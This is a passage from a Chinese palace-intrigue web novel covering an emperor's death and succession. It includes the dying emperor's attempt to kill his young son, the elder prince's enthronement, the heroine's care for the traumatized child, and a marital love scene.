守孝期间,清蕴时常托彭掌柜找药,再送去宫廷。她和王宗赫成婚时,李贵妃状况看着还行,转眼竟就没了。 想到从前种种,清蕴心头微恸,手无意识地抓住衣袖,“大长公主还在京城吗?” 王宗赫:“嗯,贵妃体弱,据说是染了风寒没治好,拖成咳症,而后时常昏厥。人去得突然,但大长公主当时恰好在宫里。” 真不知是幸运还是不幸,能见到女儿最后一年,却又亲眼看到儿女离开自己。 清蕴看向京城的方向,“三哥,我要尽快回京。” 王宗赫早猜到她的想法,“再给我一天时间,后天,我和你一起走。” ** 李贵妃薨逝的消息更快传到了齐国公手中。 他刚收服了广西土司,让他们归顺自己,这段时间在休整,收到这封信时,喉间顿时涌上一股腥气。 马青立刻上前,“主子!” 齐国公摆手,继续看下去。 许多年前,他在宫里就留有眼线,那时候没想过做什么,只方便打探消息,现在就成了重要后手。 信中说,李贵妃薨逝后,皇帝还在饮酒作乐。大长公主知道他所作所为后,冲进皇帝住处对其破口大骂,姑侄二人起了争执,大长公主一怒之下竟抓起醉酒的皇帝让他对承乾宫方向磕头。 大概是用力太猛,又或者是刚吃药太多终于伤了身体,皇帝被磕出重伤,至今仍在昏厥。当时淑妃也在场,对外道陛下因贵妃之死伤心太过,意图撞柱追随,所以受伤。 不管这理由大臣们信不信,反正万云和谢云天都没出面反驳,也就没人去探究真相。 他们更想知道陛下伤势如何,还能不能醒来。 现今,皇帝身边被大长公主、淑妃、万云、谢云天等人围住,连柳阁老也不得面圣。 眼线都无法得知更进一步的消息。 齐国公脸色如古井无波,但马青能看出来,主子眼中光芒越来越盛,又渐趋平静。 还没到时候。齐国公想。 …… 清蕴抵达京城后才知道皇帝“为爱殉情”的传言,顿时脸色古怪。 别说她,朝堂上哪个不知道建帝对后宫嫔妃的态度,位高如李贵妃在他面前也只是取乐的玩意。 她看向王宗赫,他暗暗摇头,表示自己也不清楚。 夫妻俩扎进浙江两个月,哪料到这么短的时间天都要变了。 李贵妃薨逝和皇帝昏迷的消息混在一起,一时之间,前者的消息都没那么引人注目了。 礼部照常操办了李贵妃的治丧仪式,清蕴和王宗赫一同进宫,看到了红着眼眶的大长公主和淑妃。 李琪瑛把清蕴单独引去了承乾宫,察觉到她的沉默,低声道:“放心吧,至少承乾宫这儿都是娘的人。” 清蕴仍没开口,等周围无人时才问:“陛下那儿?” 李琪瑛摇头,“我不知道,娘不告诉我,也不让我打听。” 她也不在意建帝生死,更在乎的是从小像另一个娘亲一样对待她的长姐去了。 李琪瑛感觉这几年已经把生命中的痛苦都经历了遍,想伏在清蕴肩头痛哭,意识到她已经不再是自己大嫂,又是一阵难过。 突然,她注意到屏风后有熟悉的衣角闪过,立刻看过去,“次奴。” 没人出声。 李琪瑛直接起身走去,果然在后方看见了一道小小身影,被发现了也不慌乱,而是仰脸看她,“姨母。” 李琪瑛:“你身边的奶娘嬷嬷呢?” “她们以为我睡了。” 所以又是自己偷跑出来。李琪瑛看着自己的小外甥没法说重话,尤其是他那张脸,每每看到,就让她心中倍感内疚,哪里舍得责怪。 把人牵出来,李琪瑛道:“外祖母在忙,等夜里她就会来看你。” 说完转向清蕴,“这是次奴,嫂……你没怎么见过他吧。” 大名杨翊、乳名次奴的小皇子,当初诞生时要了李贵妃半条命。 最关键的是,年仅四岁的他,竟长了一张和李秉真七分相似的脸。 即便外甥肖舅,这也太像了。 清蕴一时晃神。 小皇子仰首静静看着自己的模样,让她有种李秉真转世重新站在面前的感觉。 第78章 小殿下和世子生得很像 杨翊:“我知道你。” 清蕴“嗯?”了声, 俯下身和他对视。 随即被这个孩子鸦羽般的睫毛攫住目光。 四岁孩童的面庞尚带着初雪般的软糯弧度,精致骨相显出一种贵气。眼睛大得惊人,眼尾却斜斜飞起道幼狐般的弧,瞳色较寻常孩童更浅几分, 像浸在琉璃盏里的雨前龙井, 此刻正一瞬不瞬地凝望她。 雪青衣袍裹住他单薄的肩头, 颈边戴着一道金色长命锁。 杨翊:“你的传言很多。” 不用问, 清蕴也知道宫中关于她会有什么样的传言,就像大皇子曾经对她的复杂态度, 年仅四岁的小皇子也懂那些吗? “什么传言?” 杨翊摇摇头,“那些不重要。” 他道:“你喜欢我。” 顿了顿继续,“所以我也喜欢你。” 清蕴没说话,李琪瑛上前,“这也是你姨母, 当然喜欢你了。怎么说话还是一句一句地蹦, 就不能说长点么?” 杨翊选择性无视了那句话,问她,“母妃呢?” 神色僵住, 李琪瑛说:“她还在养病呢。” 杨翊耷拉下脑袋,发间的发间束着明珠的银丝绦便扫过腮边尚未褪尽的婴儿软肉。这个本该稚气横生的动作,却因他抿得平直的唇线与绷紧的下颌显出几分执拗的庄严。 他不出声了,好像什么都懂, 只是不愿揭穿。 李琪瑛伸手替他拢了拢衣襟。 对这个早慧的外甥, 她向来当琉璃捧着, 不忍欺骗, 更不忍告诉他真相。 过了会儿,杨翊又看向清蕴, 唤她姨母,“带我去看母妃。” 这是一人不成,就换个人,李琪瑛对清蕴暗暗摇头。 可面对这样的小皇子,谁又忍心拒绝呢。 清蕴问他:“你喜欢画画吗?” 杨翊眼神微微亮起来,显然喜好也和已经离世的舅舅很像。 清蕴:“姨母难得进宫,陪陪我好吗?我们去学会儿画画,等晚些再去看母妃。” 杨翊被说动了,任清蕴牵着往里走,李琪瑛松了口气,她还没想好该怎么和外甥说这件事呢。 清蕴在承乾宫消磨了大半天,凭她对作画的了解和温柔耐心的陪伴,杨翊已经对她这个名义上的姨母依赖非常了。在王宗赫来承乾宫外接人时,依依不舍地跟到了外面。 王宗赫见到这一大一小的身影,瞳孔微缩。 看到清蕴牵着小皇子,有种妻子正带着和前夫所生孩子的错觉。 杨翊出生时难产,前三年都泡在药罐里,被李贵妃养在承乾宫几乎没怎么出过门,这就是俩人都没见过他的原因。 杨翊却从周围人的谈话中早就认识了两人,不仅知道王宗赫娶了自己曾经的舅母、如今的姨母,还清楚他是讨厌的皇兄的先生,所以一见他,就把头埋进了清蕴怀里,“姨母,我舍不得你,今晚在这留宿,好不好?” 清蕴:“这于礼不合,我明日再来看你,好不好?” 杨翊:“那姨母把我带走。” 他不想待在承乾宫,在这座宫殿生活四年,早就没了新鲜感。 王宗赫:“……” 摸摸手下毛茸茸的脑袋,清蕴示意奶娘把人接过去,温和却不容商议地拒绝了他。 俩人走出好长一段距离,似乎都还能感受到身后视线。 王宗赫观察妻子神色。 清蕴主动道:“小殿下和世子生得很像,是不是?” 王宗赫嗯了声。 清蕴:“性情也有些像,他如今是大长公主和郡主仅剩的家人了。” 其实相处下来,清蕴就知道内里还是很不一样。李秉真外热内冷,在乎的东西极其少。小皇子聪慧内敛,非常敏感,每个人对他的情绪转变他都能感觉到。 王宗赫再次应声,心道,和大皇子及陛下倒是区别很大,看起来更像母亲和舅舅。 夜色笼罩天幕,马车抵达王家,王宗赫去寻了父亲和祖父,清蕴就先回春诵堂。 接连发生太多事,她睡不着,沐浴后随手拿了本书,对着其中一页出神许久。 烛光忽然晃了下,被来人带起的风惊得左右摇曳,清蕴肩头落下毯子,“当心着凉。” 抬首看向他,“祖父他们怎么说?” 王宗赫:“没人能见到陛下,局势不明,谁也不知道接下来会怎样。” 朝堂能正常运转,那是因为大多数政务本就是内阁在处理,不需要陛下那儿批红,但时间一长定要出问题,起码官员的任命、罢免都必须要盖玺印。 听他的意思,清蕴问:“陛下……伤得很重吗?” “应该是。” 夫妻俩看着彼此,都知道下一步的问题是什么。 东宫未立,两位皇子都有权继承大统。假如建帝真伤重而亡,留下了遗旨还好说,没有旨意的话,就看背后扶持的人哪方更占优势。 大皇子生母已逝,如今养在柳阁老侄女柔妃膝下,可以说和柳家捆绑在一起。二皇子背后则站着齐国公和大长公主,在朝堂上武将不占优势,可如今内乱频出,谁都不敢小瞧齐国公的分量。 王家没有皇子,和两家都有利益牵扯。真到那时候,他们的站队极其重要。 但王宗赫还有个忧虑,齐国公所谋甚大,难道陛下去了,他就会安安心心辅佐自己外孙吗?不一定。 大长公主和齐国公曾为夫妻,他们俩却不一定能同心,恐怕会一个想推外孙为帝,一个只想挟外孙而令天下。 当然,这些都是王宗赫结合多方面情况的揣测,事态如何发展,他也控制不了。 夫妻夜话时,谢云天趁着幽暗溜进柔妃宫中。 宫人早就被遣出寝殿,柔妃听到暗号后直接开窗,迫不及待地问,“陛下怎么样了?” 谢云天:“娘娘是希望陛下好转还是病危?” 柔妃斜他一眼,回位上坐着,“还不是你没用,陛下受伤的原因都找不出来,人也救不醒,如今这不上不下的,我能有什么想法?” 她怀疑陛下突然受伤是大长公主或淑妃所为,苦于没有证据。但凡陛下醒来,就能弄清楚真相,可偏偏人一直昏迷! 要不是谢云天万云等人也一直守在边上,她都觉得是大长公主那边用药了。 谢云天:“陛下虽然无法恢复神智,但每天可以仍可以灌进药汤,按这情形,可能会保持很长一段时间。” 柔妃:“能痊愈吗?” 谢云天摇头,“我私下问过太医,痊愈的可能微乎其微,最多吊着一条命。” 他心底其实是庆幸的,即使自己炼制的丹药大部分是用药材制作,也架不住陛下当糖豆吃。长此以往,身体吃出问题,首当其冲的就是他。 柔妃皱眉,“齐国公人在西南,一时不会回来,但时间长了,等他们意识到陛下不会再醒,就怕……” 柳阁老是她大伯,提到立储之事却总含糊其辞,不肯给确切答复。指望他出面帮自己和大皇子不太可能,如果趁齐国公回来之前平定局面,迅速把大皇子扶上去,到时候大伯不想帮她,也得帮。 谢云天,“娘娘的意思是?” 柔妃不满,自己的意思难道不明显,非要说出口? 谢云天故作不懂,她只能轻声道出担忧和想法。 谢云天低应一声,“齐国公也是我的仇人,我可以帮娘娘,但事成之后,娘娘必须答应我几个要求。” 想到父亲递的话,柔妃看着谢云天狭长的眸子,开口时宛如毒蛇吐信,暗暗打了个寒颤,最终还是点头。 ** 承乾宫中,清蕴正握着小皇子的手勾勒,墨汁在宣纸上晕开恰到好处的弧度,慢慢形成一片幽幽兰草。 不知不觉中,四岁杨翊抬首看她,清蕴含笑,“怎么了?” “姨母好看。”杨翊依旧是慢吞吞的说话风格,“怪不得那么多人喜欢你。” 清蕴:“翊儿也是吗?” 除去自己母妃,杨翊不习惯别人喊他次奴,清蕴就从善如流地改了。正是因此,杨翊对她印象更好,因为外祖母和小姨母都没把他这话当真。 杨翊想了下,“不是。” 清蕴捏捏他的脸,笑道:“幸好不是,不然我该伤心了。” 杨翊捂住脸颊,有些不满姨母把自己当三岁孩童看待,可这样的亲昵,他许久没感受过了。 他脑袋一歪,闷闷地趴在清蕴膝上,“画百朵兰草,真能见到母妃吗?” 清蕴:“嗯,我会带你去见她。” 等到治丧最后一天,他总要去拜别自己的母亲。这孩子好像已经明白了生死的含义,总是安静地望着东边,那儿是李贵妃停灵的地方。 杨翊趴得更实,腮边软肉被挤压到一侧,双眸水润润地看着清蕴,像清蕴曾在天穹山遇见过的一只幼鹿,也是吃着树叶就往她身上躺,边发出小小的叫声。 不得不说,这种纯粹清澈又充满依赖的目光极其容易让人心软。 清蕴轻拍他。 “姨母抱我。” 清蕴把他抱起,等人趴在肩头看向后方时,她才发现王宗赫不知何时来了,杨翊看的正是他。 “夫人。”王宗赫瞥了眼不知为何对自己有敌意的小皇子,“到时辰了。” 又该离宫了,半个月来几乎都是如此,王宗赫从官署下值,就来接清蕴出宫。 杨翊不愿下来,难得展露出小孩儿难缠的一面。 看清蕴无奈却略带纵容的神色,王宗赫不经意扫过清蕴腹部。 表妹很喜欢孩子? 夫妻俩在一起时经常无所顾忌,房事频繁,也没特意做其他措施,按常理来说很容易有孕,清蕴看起来还没有症状。 不过王宗赫也知道,这种事要看缘分,成婚好几年后才有子嗣的也不少。 如果清蕴喜欢的话,他也许应该更努力些。 第79章 帝崩(剧情章主角含量少) 时值严冬, 昏迷的建帝被移到了修有地炕的懋勤殿。殿内另置炭火盆、熏笼,踏进去温暖如春。 丑时三刻,连着守了四五天的万云去歇息了,派司礼监黄公公在这儿守着, 余下两人为大长公主派来的侍卫和柔妃宫中女官。 无人注意到床榻边建帝的手指动了动。 一个多月来, 建帝偶尔会意识清醒, 但受限于昏迷的身体, 没法睁眼说话,只能听着身边人走动、交谈。 他听到太医战战兢兢的判语, 说他伤势过重,难以恢复神智。听到姑母冷静的话语,让人好好照顾。听到柔妃、淑妃二人在榻前言辞交锋、互相讥讽。 这些都可以预料。 最初建帝所想的是,等自己醒来第一件事就以行刺罪处死杨淑容——那胆敢对他动手的好姑母。至于次奴,看在他年纪尚小又失了母亲的份上, 不予惩处, 但今后只能被关在住处,不允许随意外出,说不定还能用他来牵制齐国公。 后来得知自己可能时日无多, 建帝想的是,如果有清醒的时机,就要立大皇子为储君,以免姑母和齐国公里应外合, 拥立老二来把持朝政。 等柔妃和谢云天在他榻前低声交谈了几句意义不明的话, 察觉到他们俩在合谋何事时, 建帝内心怒火燃烧。 这皇位他可以给, 但任何人都不能强行来夺,无论齐国公、大长公主, 还是柔妃、柳家。 在勃勃怒气下,他竟真的恢复了部分知觉。 大约一炷香功夫,建帝从手指微动到睁开眼,发出嘶哑声音,“……来人。” 距离最近的黄公公先反应过来,迅速冲过去,撞见建帝直视过来的眼,先不可置信,随即跪倒在地,“陛,陛下!” 建帝瞟了眼外面,黄公公立刻领略上意,“快来人,传太医——” 十二时辰候着的太医很快赶来,随后而至的是万云、大长公主、柔妃、淑妃、谢云天等人。 大约是心中有预想,太医诊脉时,建帝感觉他总在频频看柔妃、万云、谢云天二人,心慢慢沉下去。 他还没恢复太多精力,勉强又说出几个字,“柳文宗呢?” 万云道:“陛下,现在是丑时,柳阁老正在家呢,可要传阁老前来?” 从柳家到进宫需要近半个时辰,建帝没法肯定自己能维持那么久的清醒,更无法保证自己能醒第二次。 他的视线扫过围在身边的一圈人,没了当场给大长公主定罪的心,只断断续续道:“传……两位皇子。” 大皇子杨睿、二皇子杨翊接连被叫来,都是睡眼惺忪,对上建帝视线,又不约而同打了个寒颤。 杨睿对父皇既敬又怕,愣愣待在原地,杨翊躲到了外祖母身后。 万云代为传话,“陛下有话要对两位殿下交待,其他人退下。” 眼见建帝一副回光返照模样,柔妃第一反应是传位之事,哪肯离开,“陛下身边现在离不了人,两位皇子还小,不如让臣妾在旁边照看吧。” 建帝冷冷看她,没有斥人的力气,半天道:“滚……” 大长公主出声,“既然陛下有令,无关人等就退下吧。” 说完第一个往外走,其余人见状,只能慢慢跟上。 殿内顿时只余偶尔的炭火噼啪和呼呼寒风。 面对父皇审视中带着冷酷的目光,大皇子有些结巴,“父皇可要喝水?” 说完得到建帝示意,立刻倒了杯温水,站在榻边看建帝慢慢喝下。 从长子的眼神中,建帝看得出他的心思一如既往,“看外面,还有人,就,赶走。” 大皇子乖乖往门外看,果然还有几人贴在门边。他依令赶走了,再走回。 建帝扫过巴不得站得越远越好的小儿子,抬手召人。 杨翊不情不愿挪了过去。 从他的脸上,建帝看到了表弟李秉真的身影,看到了李贵妃的轮廓,唯独没看到任何和自己相似的地方,眸中闪过一丝狞意。 “再,近些。”他尽量保存体力,语气很轻。 杨翊走到他身前,被父亲枯瘦的手拂过脸颊,宛如蜿蜒游过的蛇,让人毛骨悚然。 “次奴。”建帝低低唤他,把人揽过来。 杨翊很不习惯他的怀抱和气味,下意识往后缩。 炭火盆在帐幔投下跳动的阴影,建帝手掌突然成爪扣住幼子后颈,匕首猛地朝他胸口刺去,却因虚弱无力和杨翊瞬间的挣扎刺歪了。匕首险险从其手臂内侧擦过,带出一片血珠。 杨翊想跳下床榻,却被扯住头发,攥得生痛,伤口在锦被蹭出道道血痕。 建帝猛咳两声,还要再动手,却总对不准位置。 一个是昏迷多日没什么力气的成年男子,一个是年仅四岁的体弱孩童,拉扯起来竟然不分伯仲。 “按住他!”建帝双目赤红瞪着呆立的长子,喉咙里滚着破碎的嘶吼。 大皇子看着父皇狰狞的神色和弟弟苍白的脸发怔,想冲出去大喊父皇疯了,脚却死死钉在原地不能动弹。 就在建帝分心的功夫,杨翊已经拼尽力气挣开他,抬脚就朝门边冲去。 在建帝血红双目的逼视下,大皇子终于伸手拦住人。 他年长四岁,体格又健壮,拽住人简直毫不费力气,纵然杨翊回头又蹬又咬也没用。 建帝眼中迸出奇异的光芒,“好睿儿,杀了,他,即刻……传位。” 大皇子听清了,且因着最近柔妃偶尔脱口而出的话,也懂了话中含义。 他无法反抗自己的父皇,在不住的低斥中,手不知不觉抄起了青玉花瓶。 顷刻间,瓷片在杨翊头侧三寸炸开,满地都是裂开的碎片。 他嘴唇被死死捂住,大皇子结结巴巴道:“父皇,弟弟,弟弟他不动了……” 本想挣扎的杨翊隐约领会到兄长的意思,慢慢停下来,躺在原地,当真不动了。 因之前被刺伤,杨翊一直在流血,血被蹭得到处都是,从建帝的角度看,也无从分辨到底是不是从脑袋流出。 建帝只看到小儿子逐渐静止、失了生息的身体,喉咙中发出浑浊的笑。 天命,批言,他今天就要打破这些! 笑着笑着,建帝突然暴起揪住杨睿衣襟,刀刃直插心口。 大皇子被药味混着血腥气的味道熏得发昏,又被父皇的癫狂神态所惊,竟忘了躲闪。 正是此时,雕花门轰然洞开,偷偷溜回来听动静的柔妃察觉不对劲冲进来,看见刀尖距离养子胸口仅剩半寸,猛得一惊,脚步比思绪更快跨了过去,本能地把匕首打开。 这一打,立刻把建帝也推向了床柱,他积蓄的力气立刻消散,怒不可遏地看向柔妃,喉头发出可怕的“咯咯”声响。 这模样好比厉鬼,柔妃被吓了一大跳,把大皇子护在身后。 两人虽不是亲生母子,但父兄今后荣辱可都系于这个养子。 建帝喉间声响持续了好一会儿,瞪着柔妃的双目越来越大、越来越大,直至失去光彩,头倒在了一边。 “母妃——”大皇子叫声响起时,柔妃才意识到发生了什么,心跳如雷。 陛下死了?被她那一推推死的?还是被气死的? 她迅速回头看了眼门,很快就要有人来了。 “睿儿,刚才怎么了?” “父皇,父皇要杀我们……” 柔妃猛地看向床边,发现倒在碎片中的杨翊,又惊又喜,“他被陛下——?” 不知为何,大皇子也不敢对着面孔扭曲的母妃说实话,颤颤点头,“他被砸破了脑袋……” 柔妃想笑,却知道现在不是笑的时候,硬生生又扭成悲伤神色。不管陛下为何突然发疯想杀两个儿子,事实是如今小皇子没了,仅剩她的儿子还活着。 无论有没有传位诏书,有没有旨意,能继承皇位的仅剩大皇子。 殿外在这时传来密集脚步声,柔妃意识到此刻形势,突然发出一声惊叫。 ** 清蕴被宫中传出的钟声惊醒。 她睁开眼,等钟声停止后看向身边人,王宗赫微微颔首,“是九声。” 帝崩,皇权归于九天,故有九响。 建帝捱了一个多月,途中竟一次都没醒过,就死了。 无需言语,夫妻俩同时起身穿衣,走到屋外时,阖府灯火通明。祖父王贞一身素袍站着,王维章、王维清兄弟俩则穿着官袍,见王宗赫走来,微微颔首,“走吧。” 天子驾崩,他们作为臣子,自是要立刻进宫聆听遗旨,参拜新主。王贞虽已致仕,但作为老臣,也有资格去见天子最后一面。 虽然目前并不知新主会是哪位。 这时候谁都睡不着,清蕴陪长辈们坐在厅中,听郑氏不住向祖母秦夫人询问,像是在求个安心。 她一直安静不语。 秦夫人起初回了几句,被儿媳问得不耐烦,“好了,实在闲得慌就去把府里的人都召集起来训训话,让他们这段时日不许议论此事,谨言慎行。” 郑氏这会儿确实需要找个事做,她也适合训人,闻言当真去办了。 秦夫人看向二儿媳,“回去带着小的吧,和你们没什么关系,管束住下人就行。” 国丧二十七日,起码这二十七天不能出差错。 柴氏点头离去,秦夫人再看向身边人,没有说什么,只拍了拍她。 清蕴慢慢回神,对她一笑,“祖母,放心吧,三哥更会沉得住气。” ………… 王宗赫的确很沉得住气,在听到陛下驾崩前神思错乱、不慎伤了两位皇子时没有露出异样,在万云传下口谕,道陛下驾崩前亲口传位于皇长子也没像其他人那样质疑,从始至终安静听旨。 他如今是柳阁老最信重的弟子,在柔妃、大长公主等人眼中,已经是从善如流地站在了柳家这边。 第80章 吃味 天子驾崩, 留下口谕传位皇长子。在以柳阁老为首的臣子拥立下,大皇子接受百官参拜,正式登基。 大皇子杨睿茫然地被人带领着走完众多仪式,等他回过神时, 父皇已经殡天入土, 而自己身着五爪龙袍, 坐在了龙椅上。 内阁拟了十多个年号, 杨睿从中选中“文昭”二字,现如今称文昭帝, 柔妃则被封太后,尊号慈懿。 文昭帝年仅八岁,无法临朝亲政,朝堂政务目前主要由以柳阁老为首的内阁决定,遇大事则由柳太后和内阁共同商议。 先生也由王宗赫和翰林院的徐学士增至八位, 分别教导儒家经典、军政韬略、骑射书法等课程, 太傅由柳阁老亲自担任。 文昭帝最喜欢的还是曾经的老师王宗赫,可母后不让他太亲近王家人。 下了早朝,文昭帝传来大伴闻喜, 才问两句话,柳太后就走了过来,主仆俩立刻噤声。 曾经的柔妃已经十分习惯太后身份,颇具威严地问:“在说什么?” 闻喜小心翼翼瞧主子, 文昭帝抿唇, “问了两句二弟的情况。” 柳太后:“哦?怎么样了?” 闻喜答:“太医说二殿下身体无大碍, 只是受了惊吓才导致失声, 至今神智没恢复,也不怎么能说话。” 柳太后摆摆手, 闻喜知趣退下,殿内随后响起她的问话,“睿儿,你老实告诉母后,那天你弟弟当真昏迷了吗?” 事后发现二皇子杨翊不仅没死,还只是轻伤时,柳太后就怀疑他那天没有昏迷,甚至可能看到了自己为护杨睿“送”了先帝一程,总觉得这是个隐患。 文昭帝低头,“父皇确实用花瓶砸了他,当时流了很多血,我以为他……” 柳太后盯了他几息,文昭帝尽量保持平静。 兄弟俩没什么来往,柳太后想不出他有任何暗中维护杨翊的理由,便暂时作罢,转头道:“明天上朝时,会有人提议让你外祖父出任户部尚书、入内阁,到时若有人反对,你记住要出声。” 柳太后口中的外祖父,是柳阁老族中堂弟,此前在太常寺任职。 文昭帝:“柳阁老和外祖父为堂兄弟,按律二人不能同在六部为官,更别说同入内阁。” 他的声音在柳太后注视下越来越小,直至无声。 柳太后:“睿儿,你如今是天子,律法都由你定,规矩算什么。你尚且年少,又刚刚登基,朝中局势尚不清楚,可知里里外外有多少人盯着你的位置?不说那些亲王,朝堂上,还有人怀疑你父皇遗留下的口谕。土司之乱未平,齐国公霸着兵权迟迟不归,他是老二的外祖父,要不是他离得远,你当他会不会冲回来拥立你弟弟?当务之急,自然是要帮你外祖一家得权,只有他们,才会真心帮你。” 拥立弟弟也没什么不好。文昭帝在心中想,至少他不用面对这么多烦心事。 可话不能说出来,否则该挨骂了。 老老实实地听柳太后叮嘱了一堆事,文昭帝不住点头,两刻钟后终于被放走。 他带着大伴闻喜,不知不觉走到了承乾宫。 大皇子登基为帝,按理来说作为二皇子的杨翊该封王搬去宫外,但杨翊至今没有痊愈,王府也没有挑选好,人就继续住在了李贵妃曾经的宫殿。 刚过完年,文昭帝没体会到一丝喜庆氛围,感觉吹过的风都在呜嚎。 他盯着承乾宫的门,有些羡慕弟弟,至少弟弟的外祖母、姨母都还在,都很维护他。 因为在发现弟弟没死时,母后很想弄假成真,可姑祖母寸步不离,母后无从下手,只能作罢。 慢慢走到承乾宫外,文昭帝对行礼的人摆手,示意他们走远些。 突然间,耳畔听到轻柔的读书声。 有些耳熟,文昭帝回想了下,记起是那人——父皇曾想强纳进宫的陆夫人,如今嫁给了老师。 他站在窗边朝里望。 寝殿内,杨翊裹着狐裘缩在圈椅里,腕骨伶仃得能看见淡青血管——前日太医院刚拆了臂上纱布,听说如今连握笔都颤。 “接下来再讲商汤网开三面的故事可好?”清蕴往他膝头塞了个手炉,得到点头后翻开书本讲起来。 听着听着,床榻上杨翊睫毛颤了颤,把沾着墨汁的宣纸推到案边。 上面写了个歪歪扭扭的“汤”字,清蕴轻笑,“捕鸟人确实贪心,但商王说‘愿向左飞的往左,愿向右飞的往右’,只剩不听劝的才落网。" 接着抚过杨翊发顶:"翊儿觉得商王傻?" 杨翊摇头。 “后来诸侯都说商汤仁德连禽兽都怜惜。”清蕴蘸清水在圈旁写“仁”字,水迹映着炭火泛出金光,“其实商王是在教我们——” 窗外传来枯枝折断声,杨翊攥紧她衣袖,清蕴顺势将他冰凉的手包进掌心:“就像治病,汤药灌三碗总得泼一碗,强求十全反而伤身。” 听到这儿,文昭帝想起那些先生讲“仁政”时的长篇大论,忽然觉得还不如面前人讲得生动易懂。 至少声音也好听许多。 杨翊睫毛上还沾着药雾凝成的水珠,闻言突然伸手碰清蕴发间的木簪——今晨这簪子替他打翻了半碗苦药。 这时候,有宫女在外面惊呼:“陛下?” 文昭帝慌慌张张缩回扒在窗棂上的手,怀里的暖手炉滚进雪堆。 不待里面的人找出来,已经带着闻喜跑远了。 清蕴没有出去,听到宫人回禀陛下已经走了,再松开手,拍拍钻进怀抱里的人,“怎么这样怕陛下?” 杨翊看着她,抿唇半晌,忽然抓过笔,在纸上歪歪扭扭写了个“弑”字。 清蕴睫毛微颤,笑着握住他冻红的手指,“这是‘试’字的新写法吗?翊儿真聪明。” 边说着,边慢慢把字凃成完全看不清字迹的一团墨。 杨翊似乎不解,又似乎懂了,放下笔,继续窝在她怀里。 ** “小殿下的失魂症是装的?”王宗赫解开大氅,带进一身寒气。他刚从文渊阁值房回来,袖口还沾着朱砂批注。 清蕴往熏笼里添了块银骨炭,“不能断定,太医说惊悸伤神,但今天能够写字了。” 她顿了顿,“这孩子心思太深。” 天生聪慧没什么不好,但身处杨翊的位置,过于敏感通透总容易伤神。清蕴不知他和大皇子面对建帝时到底发生了什么,反正如今人得了失魂症,待在熟人身边能安安静静,一旦只有宫女、内侍陪着,就要啊啊闹腾。 提起那个“弑”字,清蕴抬眸看过去。 王宗赫平静道:“只是无意间写的字,不用想太多。” 想太多也没用。 早在发现齐国公的人也在暗中助大皇子登基后,王宗赫就已经决定作壁上观,不参与其中利益纠葛。柳太后急着抬举柳家旁支入阁,忙着打压曾经提出质疑的人,朝堂如今也是乱糟糟的。 王宗赫继续道:“已经回家,就不要再提宫里的事了。” 也不要再提无关的人。 清蕴嗯一声,起身去梳洗。 沐浴归来,坐在梳妆台前慢条斯理通发时,手中木梳被人接过。 成年男子的身体在冬日里也藏着火焰,稍稍贴近,就感到了一阵热意。 王宗赫表现得不急不缓,但眼底的欲望已经悄无声息泄出。 国丧二十七日,夫妻俩已经一个月没亲近了。 清蕴回身,倚着妆台,“王大人在御前讲经的定力呢?” 铜镜里映出他高大身影,檀木梳慢慢顺着腰窝滑进妆奁,清蕴话出口的瞬间,忽然被拦腰抱起,往床榻边走去。 被放进被褥,清蕴看他解开衣襟,转瞬间就剩一件薄薄中衣。 “当心冻着……”尾音被吞进唇齿,那握惯笔杆的指节肆无忌惮地丈量着更隐秘的沟壑,腿弯也被顶上来的膝盖分开,曾经的记忆几乎立刻复苏。 清蕴闷哼一声,这人竟直接进来了。 沉寂一阵子的身体还没能完全适应,他又异于常人,让清蕴眼里几乎瞬间有了水光。 但在王宗赫眼中,她雪白的肌肤和乌发交缠,眸光潋滟地瞪视自己时,有如夺人心魄的女妖,让他浑身紧得发疼。 “抱歉。”说着这样的话,他动作一点都没缓下来,反而又重又快。 许是隔了段时间,他又激动非常,这次没有持续太久。 清蕴低低喘息,胸口剧烈起伏,不用照镜子她也猜得出自己是什么模样。 想到刚才这人握住她的手腕不让她动弹,低声问“教小殿下写字时也是是这样吗”之类的话,就不知说什么好。 “翊儿才四岁。”她简直没法相信,稳重的三哥还能和一个四岁的孩子吃味。 王宗赫不语,他当然知道小殿下才四岁,可……和那人长得太像了。 起初他只是讶异这缘分,没怎么当回事。但当小殿下对清蕴越发依赖,清蕴也经常进宫陪伴他时,他就忍不住想,她如此怜爱这个孩子,到底是因其身份,还是因为那张脸? 她是不是透过那张脸,在思念谁? 越想,王宗赫就越感到自己的卑劣、狭隘与自私,可也是越想,他越没法无视心中越来越大的声音。 他承认,自己十分在意这件事,在意得这几个月来心中都沉甸甸的。总忍不住思考,她是否一直没忘记李秉真。 嫁给李秉真是她自愿的选择,嫁给自己却是迫于形势的无奈之举。相比较之下,谁的地位更重要就很显而易见了。 迟迟没得到回应,清蕴仔细观他神色,“三哥?” 王宗赫回神,忽然倾身抱下来,低声道:“猗猗,我们生个孩子,可好?” 80-90 第81章 缘分到了,自然就有 卯时刚到, 王宗赫起身洗漱上朝去了,叮嘱女使们候着等吩咐。 日光走到窗棂,里间才传来动静,白芷第一个进去。腊月的天儿, 屋子里溜出一阵暖气, 榻上人脸色红扑扑的。 清蕴懒靠引枕, 让她倒水。 昨晚闹得晚, 因为她第一时间没给回答,三哥误会了, 一发不可收拾。 孩子的事,清蕴不抗拒,也没特意期待。守孝期间她喝过一阵子调理的药,效果不知有没有,先厌了那种苦味, 就停了。 这事除去贴身的白芷, 谁也不知道。唯独李审言的狗鼻子闻出过几回,用怀疑的眼光看她,以为她隐瞒了什么不治之症, 或者偷偷吃药殉情。 三哥是受了刺激,还是真心想要一个孩子?清蕴想到回京后郑氏偶尔敲打自己的话,低头看了眼腹部。 法显禅师虽是个能用金银收买的高僧,但也有真材实料。他曾说她子女缘薄, 没解释这缘薄, 到底是没有, 还是来得晚, 或者比较少。 后两者都好说,如果注定无子, 三哥可能会在意。 清蕴难得有丝心烦,随手抓起边上的书扇了两下,被白芷惊讶地看过来,才意识到自己做了什么。 白芷:“主子很热?” 她瞟眼外面的天儿,没错,树上还挂着冰棱呢,屋子里顶多算暖和。 清蕴:“……没有,摆饭吧。” 今天轮到大长公主陪杨翊,她待在家休息。 朝堂局势变化得很快,清蕴能感觉到,最初大长公主有扶小外孙杨翊登基的想法,后来不知发生了什么,那想法变成了保杨翊平安,不和柳太后等人争。 接下来等杨翊封王搬去宫外,大长公主应该会一心抚养外孙长大。 可昨天杨翊写的那个字,总让清蕴觉得先帝的死没那么简单。 慢慢用过早饭,她去陪两位老人家说了会儿话,看看即将出嫁的王令嘉,碰见婆母郑氏时,被留下念叨了会儿。 郑氏对她始终不满,无奈家里人都喜欢清蕴,就只能在子嗣上面做文章。 